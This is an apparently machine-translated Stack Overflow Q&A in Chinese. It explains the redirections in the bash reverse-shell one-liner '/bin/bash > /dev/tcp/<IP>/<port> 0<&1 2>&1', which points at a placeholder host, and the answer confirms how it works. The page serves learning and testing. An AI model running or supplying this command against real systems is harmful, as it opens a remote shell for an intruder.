我正在使用找到的教程测试反向 shell here .
我对所用命令的含义有一些疑问。在服务器上运行的命令如下:
/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1
我想仔细检查它的意思。根据我的理解:
- 启动 bash shell
- 将 shell 的输出重定向到 TCP 连接
<IP>:<port>
-
0<&1
: 重定向来自连接的输入&1
到标准输入0
-
2>&1
: 从 stderr 重定向输出2
连接&1
以上是否正确?
最佳答案
是的,这是正确的;目标是所有三个 FD(标准输入、标准输出和标准错误)都指向您的 TCP 连接。
注意这个命令需要在用/dev/tcp
编译的bash中运行,这是shell本身提供的一个可选特性,不是操作系统提供的;此外,这意味着像 system()
这样使用 /bin/sh
的东西通常无法调用它。
关于linux - 测试 Bash 反向 Shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34013412/